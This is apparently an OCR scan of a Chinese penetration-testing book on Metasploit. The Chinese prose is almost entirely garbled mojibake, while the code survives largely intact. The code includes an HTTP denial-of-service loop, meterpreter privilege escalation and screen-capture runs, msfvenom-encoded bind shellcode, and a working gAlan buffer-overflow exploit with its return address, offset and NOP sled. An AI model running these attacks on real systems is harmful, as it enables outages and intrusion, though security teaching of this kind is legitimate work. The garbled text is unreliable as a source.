DOS Fribifiidl, ZBLRErXTHZE 1S 6.0 RSP R, Bdid Kk — i
40000 ML F 1K Z 8 POST ifK, 1ZiFKZELL application/x-www-form-urlencoded %#%
R R LA

R R IR A ) — 4

while(1l)
begin
connect
payload = "C=A&" * 40000
length = payload.size
sploit = "HEAD #{datastore['URI']} HTTP/1l.1\r\n"
sploit << "Host: #{datastore['VHOST'] || rhost}\r\n"

sploit << "Connection:Close\r\n"
sploit << "Content-Type: application/x-www-form-urlencoded\r\n"
sploit << "Content-Length:#{length} \r\n\r\n"
sploit << payload
sock.put (sploit)
#print status ("DoS packet sent.")
disconnect
rescue Errno::ECONNRESET
next
end

end

MEERTTUUFRE], ZEALER T — A Kb 40000 P28, 2 58 LF] 80 ¥ 1
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fdEdE, JEm 1S RS 28 K% HTTP K, %R 5, RS 286 9 voH &1k T1E, H
FEBGEAGEKREEY .

7.5 JGiBENTEE

FIHATH b, BAE S B EN BT KR TR 2 458D meterpreter [1-25-Ff 1)) g SCHA
(1, #R1fi, metasploit il &5 Pl IR LI sai2 B AAE, XL /R 8E
BrBsis, AR AT AT 2 S H AR LR ER TR . RO H ARHLARHO U7 IR, T {
FH A1 1 % 745  Bridbad AR R T

31

JG BB Wy BB YL 8B IR R B el A (B ThREAL &, BATEEX Hp— ik
BT PR . AR, HARPLESE TR AITHN T Windows 7 &4, HHES S
HE L T iKY meterpreter 231

BRIl

JG B #E M BB e 0] LLZE modules/post/windows/gather H % F 3], 156 & &M 91
enum_logged on users FibR, ZAIHH T4 H Windows HL28 2 ar g H .

{EiE BK ) meterpreter 2 i P AT IZBIHR, 1 BT Bl H getsystem iy & #E17T H P AUIR 2
F, CLBF AT b R AR R

meterpreter > getsystem
...got system (via technigque 4).

meterpreter > run post/windows/gather/enum logged on_users
[*] Running against session 1

Current Logged Users

. — T — T T — T - T . . s

SID User

§=1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD
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Recently Logged Users

N R T i e . e S . S S S K N N

SID Profile Path

S-1-5-18 tsystemroot%\system32\config\systemprofile
5$=1-5-19 C:\Windows\ServiceProfiles\LocalService
§-1-5-20 C:\Windows\ServiceProfiles\NetworkService
5-1-5-21-23502 C:\Users\DARKLORD

$-1-5-21-235 C:\Users\Winuser

IBAT RS E T AR B A &R, BN REMELiExH, B oARE
I SR 7 o PATHEER S SRR B AR EFI . ] run fr AT i8R, R0 BEER
il J&: Ruby BIAKE U, K meterpreter GER 7% %) ik ) J 4047 .

WEE T ARG Horh (518 B B ST F T 3K H AR RO B, I 4 2
BAFACEIRA /Y, B4 K screen_spy.rb.

meterpreter > run post/windows/gather/screen spy

[*] Migrating to explorer.exe pid: 1104
[*] Migration successful

[*] Capturing 60 screenshots with a delay of 5 seconds

M BB E Bl h, T2 a] L) s B )5 72 2 By BosR Bt 52 A fE 43 . Kok, Metasploit
A AN 5385 B8 2 M OCTE JS V8 B B BUBLIR ] AN J2& meterpreter, B4 J5 V8 B B BB B nT LUK I
WamBE AR ZhRE, BTCL, WREH 5 F4) Metasploit JF A H B oisk, 7] LLLE G 2E M B
BTy AT 22k

EHIE

53 modules/post/windows/gather H 5 4'ff] enum_logged on user.rb il screen spy.rb iX
A, FEh TSR B IX SR BRIE T

7.6 PRI IERN
¢E 2 BT I P 7 h B8 4k 2 BRI N 2 3L I Metasploit HEAETHREMIVE, HiR
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Metasploit HEZE, FEAEBIHLA TAERME R TR, X5 B TIRATHRYE 75 B od i x HE 42
TP R. TFREOARS, BITEEFEINESEMEH by MARE B BRIV LSFAZ
Metasploit HE4E .

b3

B E OB, %E RS Ruby WAB IR . 7F meterpreter A 1% 11351
i, RATCLX Ruby ¥EF KEFAMSTIBEAT T iHig, A4 # IR ERMER Ruby K
Metasploit HEALFI EFER, 1S meterpreter Bl A B iHER KL, KT TS H —EHE
SCHACHEAT, IXEEACREAT I WA IR BEER (K SR A i Metasploit HEAREEMERISZF¥. B Eihe
BRI T K-
EHTH

Metasploit HESE A H) 8 MR AL LL ruby BIACTE S48 A7 7 modules H3h, fE H 2
R, HERBEHFESASERE. TEONMHEFERESYSAE, HiEit—401
AETC IR .

ERIE

B 5E T BRI 0 — SR E Rt AR, b T R UFBEEL REME Metasploit HEZEFEMR, UA1FA
MSF J%.

require 'msf/core’

LT ARSI A A b T AE AR AT A, KA R ZERE A
Metasploit £ o Bir 47 HCU%E S HL T g .

class Metasploit3 < Msf::Ruxiliary

ARG ) SO E X, Z YRR auxiliary (B YE, auxiliary BEHL AT DL O\ — 1)
fE, Blndas. FT0FER:. SRR .

include Msf::

Include "] RHER D EFIEANFFE DA F AR B QBT pln, wmPEEmdE 4
AR, AT LU A 1 A8 )

include Msf::Exploit::Remote: :TCP
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LA R R e P S TCP 55 ThAE, IFH Metasploit i) 3 B FiAR
BRPEAANF R I .

def initialize

super (
' "Name ' => "TCP Port Scanner',
'Version' => 'SRevision$’',
'Description' => 'Enumerate open TCP
services',
'Author! => [ darklord ],
'License’ => MSF_LICENSE

)

E i JUATARRS R B ) — o) B 4, RRRARER AR, A PE& B —EeHid (s
B,

register options(
[

OptString.new('PORTS', [true, "Ports to scan (e.g. 25,80,110-500)",
"1-10000"1),

OptInt.new('TIMEQUT"', [true, "The socket connect timeout in
milliseconds"™, 1000]),

CptInt.new('CONCURRENCY', [true, "The number of concurrent ports to

check per host"™, 10]), self.class)

deregister options ("'RPORT')

F i JLAT ACRS T30 A op — B AT 04540, P Hsidh true AORBUHR P DTH),
#5224 no (N ATIER] . FERRERINAT R, AT DA% 3% nl AR B IX 2615
blgs A XA B, RS MERPASFRIN . X BN RARET 2 2 EER

Btk I Uy 5K, e — BRI B T SRk . B U, %48 Ruby
AU, HABARBET . T, BATEN — A2 BB T R .
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7.7  SrHrEAT B

FEF A A A AR I — SR ERE AR, BT OREE T I SR BT . R
S RHRASE & FERBE TR 2428, 00 B BEERBIASTEAT 70 Hr BE % -

b33
T B0 frp BEHRHEAT AMHT, DL LR M AR %) OB

e LA URR A, AT O IR ) — SRR AN AT AT T, Rl
K BRI AS 1) A3 43 FF R A 41

ERIH

SrbT fip BE AU BEER, ZEEEE R A R /L pentest/exploits/framework3/modules/
auxiliary/scanner/ftp/anonymous.rb # £k |,

T R B A Y 52 BEARAD

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner

include Msf::Auxiliary::Report

def initialize

super (
'Name' => 'Anonymous FTP Access Detection',
'Version' => 'SRevision: 14774 §°',
'Description' => 'Detect anonymous (read/write) FTP server

access. ',
'References' =>
(
['URL', 'http://en.wikipedia.org/wiki/File Transfer_
Protocol #Anonymous FTP'],
1,

'Author’ => 'Matteo Cantonli <goony[at]lnothink.org>',
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'License' => MSF_LICENSE

register options(
[
Opt: :RPORT(21),
], self.class)

end

def run_ host(target_host)

begin

res = connect login(true, false)
banner.strip! if banner

dir = Rex::Text.rand text alpha (8)

if res

write check = send cmd( ['MKD', dir] , true)

if (write_check and write check =~ /*2/)

send cmd( ['RMD', dir] , true)

print_ status ("#{target host}:#{rport} Anonymous READ/WRITE

(# {banner})™)

access type = "rw"
else

print_ status("#{target host}:#{rport} Anonymous READ

(# {banner})")
access_type = "ro"
end
report_auth_info(
:host => target host,
:port => rport,

:sname => 'ftp',
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:user => datastore['FTPUSER'],

:pass => datastore['FTPPASS'],
:type => "password #{access typel}",

ractive => true
end
disconnect

rescue ::Interrupt
raise §!
rescue ::Rex::ConnectionError, ::IOError

end

end

end
F R RS L i ) 0 SRR A AR AT VRl o A .

EHRIE
X AR ) AR B ASTEAT S0, CAQEERA L T AR 3

def run_host (target host)
begin
res = connect login(true, false)
banner.strip! if banner

dir = Rex::Text.rand text alpha(8)

Z R B T A ahisE, Hor res 22 5 EUE A A /R {H true 2X false, connect login B %2
B TR E R, H T 5 EHLE OER, R ERN RIS TR res B EBT
FH R A

if res

write_check = send cmd( ['MKD', dir] , true)
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if (write_check and write_check =~ /*2/)
send emd( ['RMD', dir] , true)
print_status ("#{target_
host}:#{rport} Anonymous READ/WRITE (#{banner})")

access_type = "rw"

else

print status ("#{target host}:4
{rport} Anonymous

access type="ro"

EREA G, BRXTE AP 2T RS /BRI TR, write_check R FE R
RFBANRME, Z/FHMNBRELT D). MW RFRE, EHFE LB RN EER. R
BAEERM, WPRE Z75 4 ro 8F read-only .

report_auth info({
:host => target host,
rport => rport,
:sname => 'ftp',
:user => datastore['FTPUSER'],
:pass => gdatastore['FTPPASS'],
:type => "password_ #{access_typel}",

tactive => true

end

FHEAREHTRERZGEE, KT —8SHEEEGSE, flmEil. mo. 5.
045, XEAEIE{EH show options fiy 2 & s tH K, W RAAR 1.

Lt TR EATER T A T R AR BRAEHESR P LAEHLEE, R AT AR B 5 75 S A
ARATES, AMERZTF 6 RAEROATBENY. EE, Z¥E X TR ERNE S
FR, S bf (7 iR X B AT AR BEAT 04T

TR AEFAE B CRBESR I3 A F| Metasploit HEZE A1,
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7.8 A CRREBEN BB

AU T 20 BB i @ )3 R T T R BVHE, BIER — T EFME B A
HRH 3P| Metasploit HEZErh ., fyadE T ISR SIRZ 40, H /ol DR % 25 7%
Metasploit HEZE 1) T HE .

ERTH

Fyg— AR JE B BN B, LD RERALAS HARbLAs L2 A AR . i
TR A Z B B, HILHE— & CHBER BRI ks T %8,

EHEHCKBR, HATESA SHERE, a8 0% K — k.

require 'msf/core’
require 'rex'

require 'msf/core/post/windows/registry’

class Metasploit3 < Msf::Post

include Msf::Post::Windows::Registry

def initialize(info={})

super ( update_info( info,

'Name' => 'Windows Gather Installed
Application Enumeration',

'Description’ => %gq{ This module will enumerate all
installed applications },

'License’ => MSF_LICENSE,
'Platform’ => [ 'windows' ],
'SessionTypes' => [ '"meterpreter' ]

))

end

IZH A1 E Metasploit #% 0 FEH UG, RIGEHT—A, ZBP T Msf:Post itk
JE .

E TR, ZMWACIET initialize R¥, T AEHR BT VISR . FEAM S
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MILEFE A BRREE R, XEEEEAEZHAPEET rex, HHEFME
(registry) FE, 1XH 5 THEZE B MR Z AR IO K . _

AT R RPGEE RS R 3, AT ARFIRR) Rex::UisText FE5E. [F]
of 3 75 BEE X — LA [F] 4 51

def app list
tbl = Rex::Ui::Text::Table.new(
'Header' => "Installed Applications",
'Indent' => 1,
'Columns' =>
[
"Name",
"Version"
1)
appkeys = |
"HKLM\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Uninstall',
"HKCU\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Uninstall"',
"HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\
Windows\\CurrentVersion\\Uninstall',

'HEKCUNASOFTWAREN\WOW6432NODE\ \Microsoft\\
Windows\\CurrentVersion\\Uninstall"',
]
apps = []
appkeys.each do |keyx86]|
found keys = registry enumkeys (keyx86)
if found keys
found keys.each do |ak]|
apps << keyx86 +"\\" + ak
end
end

end

B ERITUTE ARSI AR, 25008 MM R A B4, T s e
FPold, GHAREARMEMRSEH, HTEEERIS L CRENNHRFEER, N
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FAFEFPE B2 A4 apps HIBEAAEATHEY [
Rk, M AAFGELE appskey S AN RIVE M RAL B HEAT loop MRFARKIEAT S ILRE .

t = []
while (not apps.empty?)
l.upto(l6) do
t << framework.threads.spawn ("Module (#{self.refname})", false,
apps.shift) do |k|
begin
dispnm = registry getvaldata("#{k}","DisplayName")
dispversion = registry getvaldata("#{k}","DisplayVersion")
tbl << [dispnm,dispversion] if dispnm and dispversion
rescue
end

end

LT AR TR A R I R R E SR B AN S P, EF A B registry_getvaldata
PR ZPRBUH TN, xR B3 AT {E I 7E .

results = tbl.to_s

prirt_line("\n" + results + "\n")

p = store loot("host.applications", "text/plain”,
session, results, "applications.txt", "Installed Applications")

print_status ("Results stored in: #{p}")
end

def run

print status ("Enumerating applications installed on
${sysinfo['Computer']}"™)

app list
end

end

LD LATACHS F 1R B F FE P45 BAT 1 21 S 3 () SCAR SO applications.txt 5, %30/
Z A FIH store loot BREUAE R, 1% eR HORE R I BT 5 BAFAE B SCA S+

ReJa ETE A LRI G R, AL d, TSR ER.
PR — S BAAL AR B AN A B3R, R EROCEREERR H R MR,
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X AT BT HESE WG o L R AR AR Th e, JFORFFIERA R A L. BORTRRBRI RIFHESR

R RA &, A BT ARl BB BRI M 8 HARRIThAE. Bin, #F IE HICBR{RAF
7F modules/exploits/windows/browser H 3%, 4 Bl 9 28 5 M 7E1% H 5% v & A0 57 10 sl A7 1
] B AR

T E RO AF AL, T SRIE I T L.
o BURHIAA!

o HEBPAT IO#RAF

o UMM RERIE RS

B R MEBIRAREY, BRI R BLERGE 240 Bh B . AR JE A S R )3l A
%, PInsZEm e RE LR . RGRTIALRITIRE, BIInEEER A T3 S48 18 2 HoAt
Ao B)e R R ZRR, B BURE ) 3 S A8 R ) B4 FR

BATEE L HBYE AN EBER B, H T HA Windows #:4E RGEH (9N SR,
FHlE B bR REAHCHE R, ZBA TN ZE0E AR AR, Rz B i A7 i
{7 H /& modules/post/windows/gather/ .

A LUBHZASR AT R 285, Ll A EEE, X B HARAE N enum_applications.rb.

EHIE

R BN H R 5, F—PRIT RPN REE EWIET. sy
CeNMg THEIRMATHERE, 78 MSF & URHR b (£ B4 BT $047 .

msf> use post/windows/gather/enum applications

msf post(enum_applications) > show options
Module options (post/windows/gather/enum applcations)

Name Current Setting Required Description

SESSION yes The session..

iyl s T BRI B CROBEER, IR B CROBIERES N 3] Metasploit HEZE ., )
PANE A g Bk, TRELE 2410 Ruby BIA 1t JE4t, H P AT LLYE Metasploit 41X & A
AP AR, LMl 54 A0,






B8 E
ERRAT AR

A TEPHE RN

o PREBIIRLH,

o i F A FHACHS mixins;

e i [f] msfvenom;

o CKENIRF RIS E$ 4 Metasploit BB
o A IR ) PR A F AR AR R

o 185/l Metasploit HEAT LML,

e %4 FileZilla FTP BRI 1A 5% .

8.1 Jir4d

M ARFEAAMBEAHE. BERAEE (Exploit) A FHEA A4S ORHFE bug
PATH G E B IR AR, BdEalig 4 5. Wi & & E RS v 7E  H s 5|
KAWATAH . EZ2FENKEREY, REARAAAERE R CEEN/ER, IRETHABRKRR
HRIAN,

TERTTH B A 2, AL L RHE A A AR SIATZEI TS . XETEEREN
T AN BERE AT AT 3L P RBE22 56 Ul AT B ¥R A A RS L 82 A\ Bl Metasploit HEZE 1 2470
R L i B2 HE R T B A R, R RS AT VI R4 B BEER IF A 2R L. TR 4 AE
12 HE 28 A (3 FH 30 0 PR RIS B il S IR 4, (AN 65 -5 WA AR T A A R N 2 -
ATER, RS el 4 e A AR B B B UEARY,  H 3 B R AR I B iz HE A
WA 2] S B mixins, PMEMIALRETRF A AU Metasploit BER (O H Hud B . )5
I GBI AR (A X N 2
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8.2 HEBHLR

B TR R PR BR () 65 M AR T TSR (1), DR R 3X A Bl T AN [+ 9 1 ) B 11 1 43
#r. BT Metasploit HEALZ — N JFHIH ., HIF AU Tk AU s AR 5Tk . 2k B 2Bk
FFRFATTR AR A A SRS H e Metasploit LR, PUE 4 JCAh A 4
Fl e Bt nT LIRS i A BRI A A FACHD ¥4 45  Metasploit Bk, MIfii & Metasploit A& 51
MR ) B . IBAT SEE R 75 SR F ANE Metasploit HESE o 0% 58 A FACHS . 548 IR AR
ARG ROAH SR AR, A B T SE 2 5 oK R A AR5 8 8 Metasploit ik .

&

B OCOR B HE S P TR R FACIS iR g5 by, gty SR Bh AR R G5 MK L, B2 T —
SEZ By, AT LATE /pentest/exploits/framework3 H 30 #k B9 A A, Fiiix MSF
o I 1 A P ARES ) 4 /AT T .

BHZTH
SRR, WA AR 45K S A B ER AL,  RII SN T — e i 2

require 'msf/core'’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE

WA AR B e A P & MSF BoLFE, JFAH—ANE, ZKY BT 5K
A AT AR — 22k . 76 LT #7R B, Metasploit3 254" J& T Remote Exploit &,
SERMAGE L A — 25, Bl TCP.

def initialize(info = {})
super (update_info(info,
INamet = 11

'Description')
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initialize R H T % B op A [6] (B R0 9 B 8 SCAT W0 0646, EEAHE Names
Description. Author. Version % P 7.

register_ options(
[
Opt::RPORT(7777),
], self.class)

end

A A ) — e E AR T T o 2 AR — S EmE A BOARME, X Ee{E 0] DLRR R
AP fREHTHES. BArhik, wLIE RS S BhHE AR 8L, HEHNET FiinE
5E ) exploit()pf % .

def exploit
connect ()
sock.put (payload.encoded)
handler ()
disconnect ()

end

T X — bR BOR TR IR TR R A AR Y AR 4, b R T 8 A R I I R A AR £
shellcode, % bR %) A 2K 38 i A AR O AS R T 22 4 o e I3 ) AR vl 3 vT e 4
I —EOR B D REAE X PR BUA P A B ARBL, B0 connect() bR B T #1181 H R 1R ER,
X —ME Remote:: TCP JAEH R SRR . TCa dfr tho /2 el 1) A ACHS 3 A i) 3 B4 Rl
5, T ELHPRLER B B H HLAS A S R . FH Tt m DR 52 B 75 24 U R ) AR
9 A5 b 5 AR AL FEFRFY .

AT BLFS B — A~ a0 A R 2 check(), PR EH T i€ H brbla8 2 & fF /2 iR, wl
LA i ks 3oy Z S0 EK) BT A 3 TEAT B '

T2 %F Metasplot H gl A A CAEARBR G IEAS T 4, THT 2555 20 S HERR h e TR A
FARRE AR R ) — 2 D & BEAT 118
ERIE

IR IR A AR S AR 45 4 2 Metasploit 7] AFEMRAME . def initialize()if #
FEHR BB E 25 AR AL ET . 25, register options()Ml|# Metasploit
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A ¥ e X —2%AFRMSH, SR FR HAREEREN SR TRAE. XS
EREMPRAFE. MEATEANENHEHE, BT MASEFESIA B ¥R A
¥ &y Metasploit i,

8.3 WA FFAIHICHS mixins

Mixins /& Ruby i 5 PN Z K —FrHLE], HAERRR— SR mCE B, FH{E
3 Ruby X Fh gk AR 5 R &L YRIIRES . ERRIFAAAFSEER P ] mixins, 7 8)F i
Hizda A AR BT s (AN ] s 8. FEAYT o, RRATK 2] — 22 E ) Metasploit exploit

mixins.

BRI

RN 22 H F ) exploit mixins, RS TEILA WA FACRS LY ch T RISk
AL

Exploit::Remote::TCP: % mixin AR T TCP #1CThfE, W F&E L TCP ##:.
connect() PR E 5 disconnect()ef E ) il £t DT EE LM #8 FiERE, HAMATRE AR KNSR,
it RHOST. RPORT. SSL %.

Exploit::Remote::UDP: % mixin Hl T 4 BR$EHE UDP MICThfE, UDP 3 840 0 Lt
TCP SEARAIERA, Rt & — A5 [ £, % mixin iE3E — A% T Rex::Socket::UDP,
Mt AL TEE S HAREE L socket HEA 1Y) )

Exploit::Remote::DCERPC: 1% mixin #4t [ 5L 1Y) DCE/RPC R4 #EHTAL H
HCHRMGIR, K hdll WG EEEEENESY . % mixin &5 & T TCP mixin.
dcerpe_call(). dcerpc bind()% & E /& DCE/RPC mixin $2{t1H.

Exploit::Remote::SMB: % mixin & X T 17 B) T Huz 2 H AR 4L SMB iRk 45317380 15 19 2R
%, ) smb login(). smb create()%%, #4&1% mixin $EE 4G H ek 3.

Exploit::BruteTargets: % mixin H] 1% Hbrbla82E1 T8 W%, 1 H exploit target(target)
PR EESZ HAR AL 1P HBATE A%, 1% mixin 7] LUR 2 5 Hi7E A [B) (19 52 ) i A S a0 op ot
13 EFEH .

Exploit::Remote::Ftp: % mixin ] T X2 @ 2 H s L9 FTP IR%, Hi & THTF
i kg H AR EPLE A ERN) Remote::TCP, H{# /] connect)BR ¥ SILFE RS L) FTP k% 2%
RALER, xR TEZ S HE R RHOST 45 RPORT.
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Exploit::Remote::MSSQL: % mixin 7 B) T # ¥ ze FE ¥k 2, L Mssql_ping(OpR&UH T
PR A ] K ping dir 2 R [AE ELRAE A hash JE3X, Mssql_xpemdshell()ef £
] xp_cmdshell $4T &4 dr4. A5 MS SQL A X HI ¥ WA FIAARS N, % mixin ZJEH
{EF )

Exploit::Capture: % mixin 45 B T#3R M 48 G i #dif0, H open_peap()eR#UH T &
W24 15k & IR RIS i R R R . 1% mixin P72 %5 peap. inject(pkt="", pcap=self.capture)
Fl inject replyQ &P AN EZEM R ¥, AIF H T MK & PaEABERR, 5F TR
HEANE AR S NG ER R

Ll AR T e T A ACHS mixins, {E Metasploit HEZE Py 1 FH I R AR B
X4 mixins 22 KR AAEH], {FH mixins A8 ER ARSI, RS ER, HIE
e R Al ) R ) B A

EWHIE

WAV T, mixins Fl T7E Ruby iXFp 4k & TE 5 h e it 2 4k APUE], XHEKE SO,
AT DA SE B 5 BAEAE BB AR R ThiE. Fltn, SR A RFEF Ak 4
AL TCP M, HATEL TN IE S — e R E, i wT DU 5 b e oh ifi A
Exploit::Remote:: TCP iX — mixin, i r] LI 32485 & Fp T fig .

E®

8 % AY mixins

BR T R A mixins Z 4k, HERRPILH IR L HEH) mixins, 11E fileformat. imap.
java. smtp. she %5, W] LA{E lib/msf/core/exploit H %3k 3.

8.4 {§1 msfvenom

(L5 4 B, AT it msfencode Fil msfpayload. BH7EM] #. [ — F, msfpayload
T M e ey v A2 — BE ) 30, msfencode W) A 348 FH AN [] 4 65 45 A ot i — bk o Sc
WEATGR . MAEELNRM S —A> Metasploit T HWESE T —FHMIThhE, FHAeEmlnT Bamchar
il AR P A 7 T A A% AR R
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&
F A fl msfvenom, B EEBI& IR RFE D, 8 msfvenom -h 4.

ERITH
WRLEE AT WR L2 AN [] (1) 7T 3 0L

root@bt:~# msfvenom -h
Usage: /opt/framework/msf3/msfvenom [options]

Options:

-p, —--payload [payload] Payload to use. Specify a '-' or
stdin to use custom..

-1, --list [module type] List a module type example:
payloads, encoders, nops, all

-n, --nopsled [length] Prepend a nopsled of [length] size
on to the payload

-f, --format [format]) Format to output results in: raw,
ruby, rb, perl, pl, bash..

-2, =—gncoder [encoder] The encoder to use

-a, --arch [architecture] The architecture to use

-s, —--space [length] The maximum size of the resulting
Payload

-b, --bad-chars [list] The list of characters to avoid

example: '\x00\xff'

-i, =--iterations [count] The number of times to encode the
payload
-c, —-add-code [path] Specify an additional win32

shellcode file to include
-X, --template [path] Specify a custom executable file to

use as a template

-k, --keep Preserve the template behavior and
inject the payload as..

-h, =--help Show this message

MERTTLIER, AMRTEENSE, Kb, 0 SEHT IR A KPR
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NOP sled, -b Z¥UHTB 1k EA RS b H B 28 255, B1n\x00, 7608 3 3K
Hemt, W RAEBLRN. HAhZ% 5 msfpayload #1 msfencode F1 & 2l 11281484

N K NOP slide, NOP sled # NOP ramp, &8 % #4F MOP #5447, X
\k—' Y Fl 24 £ CPU #) % FRig 4 PATAAL.

EHTIE

Z{#E ] msfvenom, 5 ZR U AT DR BAE N S HGEAT A%, T HAES & 1 3R
TiX—1E5%.

root@bt:~# msfvenom -p windows/meterpreter/bind tcp -e x86/shikata ga nai
-b "\x00' -1 3

[*] xB6/shikata_ga nai succeeded with size 325 (iteration=1)
[*] xB6/shikata ga nai succeeded with size 352 (iteration=2)
[*] x86/shikata ga nai succeeded with size 379 (iteration=3)
buf =

"\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24 \xf4\x5a\x29\xc9" +
"\xbl\x52\x31\x72\x18\x83\xea\xfc\x03\x72 \xle\xdB\x09\xb6" +
"\xce\xc5\x86\x6d\xla\xaB\xdB8\x88\xaB8\xbc\x51\x64\xe5\x£f2" +
"\xdl\xb7\x80\xed\x66\x72\x6e\x0d\xlc\x68\x6a\xae\xcd\x0e"™ +
"\x33\x90\x1d\x73\xB2\xd8\xd7\xe0\x87\x76\xbd\x25\x£4\x23" +
"\x4d\x38\xc2\xc3\xe9\xal\x7e\x31\xc5\xed\x84\x2a\x3b\x37" +
"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\xB3\x94\x3d" +

BHREHBGHEGT - RZEZAL -b P 1E%00 (22F45) £ shellcode H HH,
AT LATE B A A A RS P A A % shellcode.

fi FHHEZE T (A R B 8T 4 i shellcode B, msfvenom AZAFH (R T H, fijiX
shellcode JUJ AT I F-IiFA FIACHS . FFAERE & D S B AnHLE8 EH 0 I i EH S ThRE .

8.5 RiwiblFIHCILE 7 Metasploit Btk

AERUTH ) 2P SA G T G0 o] 58 P 0 A F AR BRBROR BB R AnbLas . fEA YT, R
AT TRFE — 20 0 AR DR A R AT, 25l AT A 0 8 2 T U A ES FF JA 5  f1) d  ) AR 8
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Peo AT REAE B R A AR R 3 HESR b 0 BEER, JFAE Metasploit [ FAREAT 58357 Z Al
{EFHBAT BN, UKW A R AR SO B A iR H, BN
A FACHS S LUHE S P R FE AP E B R ASRTRERY,  PrEA, Rl 2 B R EA AT AT POC K
R B O IR A R ARG AR .

&

B5G, R DL O B AT R A ACHS, X % 2 gAlan Zero day i H
G5, W] LA http://www.exploit-db.com/exploits/10339 4t F#.

gAlan J&—3KH T X Windows 1 Win32 )5 4Ab B T H (FELRIE 2R 77 A2 H5),
Pl Rz T B SRE  g & akias. PaeE. B i3%. 7488, drum-machines
S, T e A B R S AL B oM 1 B AR BT R S R AR RO AT SR R .

RA 2 HbHLAS A X — M AR PP OF LEGH B OB CRUER, $13 gAlan 3R #)
RS A REARFFIER, Rk, Bl ZPOE R HArpLas 22 T Wb N R

BHLH
(EFF i A AR B 1, A7 A3 T 5% Tk tH e i) — 22 5.

R, AR W R T KW al e & e et 3 HL R P AR 48
KUz T sk, RPed THRAMIAS, @8%EEREFRSINRCSHERN. HH
BROKDPRRTHREHAR, BFEEFOHES. ISERESH. TLELTHRNFLRS.
AP NAAZERCT R LTSRN, R REGEH, —&NS
L FERLF . TERTFRA IR, 92 F R #8347 77 282 ESP. EIP il EAX.

e ESP: fhmfkli,
e EIP: i F—+54Huulk.
o EAX: ZEHHAITHIIRS .

HTAERR A T A A5 A7 a8 AR R R PEAT A B0, FTLATR BE41E EIP F77F88mibl K, BUME
Xt HAaEAT W 5 AT LA 6] EAX,  H4hAT Bt 8 .

AR NRF OB SRIERB 2 )5, T PR 2R T RZHER . WE T
i FOBE SR S0 UEA RS, AT 2D BOLAT B 47 i# 72 $shellcode A2 A1 1) shellcode 41k, I AH]
msfpayload B msfvenom T, {8 AIHESE o 4T fa] w] FH f 0 ke 480467 2 ke

$magic = "Mjik";
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Saddr = Ox7E429353; # JMP ESP @ user3Z,dll
Sfilename = "bof.galan";
Sretaddr = pack('l', $addr);

Spayload Smagic . Sretaddr x 258 . "\x90" x 256 . S$shellcode;

WA ACRS ) E A4 B S B Smagic, AP EE —MUFWKFERT S AR5 /2Saddr
AR, P ESP IR HIALE: ZJni$filename AR F T 52BN BURE 6 193
PFAFR: Sretaddr 8% T iR (A Huht, HIREHHRMIX—Huhl, JF3EER RS R A
RIBAT; o RBGEEATHATIES), AITRIRAFIA shellcode T .

MR A AT TN, AL shellcode g KTTIE 700 <777, Hooidlifr O CEZ 1214
TN, TEA BRI 2 F BX 5 R

PATAT CAAE R AR Bl kb, ] LURYE EIP 4523 5 I ) K/ KA 5 3 Bl b il
Metasploit * L7 /NG H ¥ pattern_create.rb T H., #] A% Bh A H EIP 43 5 i (K% D) b,
Z TR AR BN A i, IRy iR AR, wTLURIE 7 (7 fg T EIP
Ho FHEH T RAIE—A 5000 FRFFFRT

root@bt: /pentest/exploits/framework3/tools# ./pattern create.rb
Usage: pattern create.rb length [set a] [set b] [set c]

root@bt: /pentest/exploits/framework3/tools# ./pattern create.rb 5000

G T e vl R FHACRS BRI AS, A F 55— A B2 B Sjunk % 4CSpayload, FKsNIAE plft) 5000
FRFR AT BN . X B e L &0 ) T R0 FH R R A B R i
R AFELE EIP AR BB “234abe”, BLEMER] 5 —4~4 4 pattern offset.rb [
Metasploit "I H it H HAEF R op LA AL & .

position where this pattern exists in the string we passed:

root@bt:/pentest/exploits/framework3/tools# ./pattern offset.rb 0x234abc
5000

1032

K, H3KHL EIP AERGA7 T, 0020 BAL 3 1 745 50U 1032,

BAE, BATCLBEER T X TRRA ALK 7R E B, B T ¥ L5 Metasploit
FEER R THE 2 o
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EHTIE

FEOTHEAE E CRBER, WAPEE TSRS T AKEE, HOI#R, RS
jE X initialize()BR %, I rp A0 35 2 R T R A ACRG AN I %0 8

require 'msf/core’
class Metasploitld < Msf::Expleoit::Remote
include Msf::Exploit::FILEFORMAT
def initialize({info = {})
super (update_info(info,
'"Name' => 'gAlan 0.2.1 Buffer Overflow
Exploit',
'Description' => %q{

This module exploits a stack overflow in gAlan

By creating a specially crafted galan file,
an attacker may be able
to execute arbitrary code.
be
'License' => MSF_LICENSE,
'Buthor' => [ 'original by Jeremy Brown' ],
'Version' => '$Revision: 7724 §°',
'References' =>
[
[ "URL', 'http://www.exploit-
db.com/exploits/10339" ],
1
'DefaultOptions' =>
{
'"EXITFUNC' => 'process',
b
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\
x20\x0c\x0b\x09",
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'StackAdjustment' => -3500,

b
'Platform' => 'win',
'Targets' =>

[

[ '"Windows XP Universal', { 'Ret' => 0x100175D0}

# 0x100175D0 call esi @ glib-1 3
1,
'Privileged' => false,

1,

'DefaultTarget' => 0))
register options(

[
OptString.new ('FILENAME', [

'evil.galan']),

false, 'The file name.',
], self.class)

end

H TR RS AR L, e s s 2, exploitOBEEOTEARY, Tl e,
B MRS RFEA FBAR K 4 NFEY IS, BlSmagic = "Mjik" .

fEAKE R, ZAIDE sploit = "Mjik" 1t
WIGHEEMX, BTANMCZ2# e T EIP $iEmESAALE, Btk LA i i a8

HR A IR ] Mk

sploit << rand_text alpha upper (1028);
sploit << [target.ret].pack('V'):

%S M nop slide, 123 ¥ 1 FH A op 3 N 30 7E AR e ch S 2 I F B AR .

sploit << "\x90" * 45

B TR 5E ¥ shellcodes

sploit << payload.encoded

Bea, RXHEATIAIDEE S 5] exploit() ki H .
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def exploit
sploit = "Mjik"
sploit << rand text alpha upper (1028)
sploit << [target.ret].pack('V")
